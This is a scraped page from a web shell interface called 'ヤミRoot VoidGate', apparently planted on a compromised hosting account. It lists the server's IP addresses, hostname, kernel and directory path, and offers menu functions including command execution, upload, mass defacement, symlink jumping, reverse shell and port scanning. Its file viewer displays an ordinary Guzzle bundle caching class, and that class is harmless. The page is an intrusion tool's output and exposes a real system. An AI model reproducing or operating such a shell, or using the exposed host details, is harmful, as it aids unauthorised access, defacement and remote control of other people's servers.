ヤミRoot VoidGate
User / IP
:
216.73.216.110
Host / Server
:
146.88.233.70 / dev.loger.cm
System
:
Linux hybrid1120.fr.ns.planethoster.net 3.10.0-957.21.2.el7.x86_64 #1 SMP Wed Jun 5 14:26:44 UTC 2019 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
itrave
/
api
/
vendor
/
csa
/
guzzle-bundle
/
src
/
Cache
/
Viewing: DoctrineAdapter.php
<?php /* * This file is part of the CsaGuzzleBundle package * * (c) Charles Sarrazin <charles@sarraz.in> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code */ namespace Csa\Bundle\GuzzleBundle\Cache; use Csa\Bundle\GuzzleBundle\Cache\NamingStrategy\HashNamingStrategy; use Doctrine\Common\Cache\Cache; use GuzzleHttp\Psr7\Response; use Psr\Http\Message\RequestInterface; use Psr\Http\Message\ResponseInterface; class DoctrineAdapter implements StorageAdapterInterface { private $cache; private $namingStrategy; private $ttl; public function __construct(Cache $cache, $ttl = 0) { $this->cache = $cache; $this->namingStrategy = new HashNamingStrategy(); $this->ttl = $ttl; } /** * {@inheritdoc} */ public function fetch(RequestInterface $request) { $key = $this->namingStrategy->filename($request); if ($this->cache->contains($key)) { $data = $this->cache->fetch($key); return new Response($data['status'], $data['headers'], $data['body'], $data['version'], $data['reason']); } } /** * {@inheritdoc} */ public function save(RequestInterface $request, ResponseInterface $response) { $data = [ 'status' => $response->getStatusCode(), 'headers' => $response->getHeaders(), 'body' => (string) $response->getBody(), 'version' => $response->getProtocolVersion(), 'reason' => $response->getReasonPhrase(), ]; $this->cache->save($this->namingStrategy->filename($request), $data, $this->ttl); $response->getBody()->seek(0); } }
Coded With 💗 by
0x6ick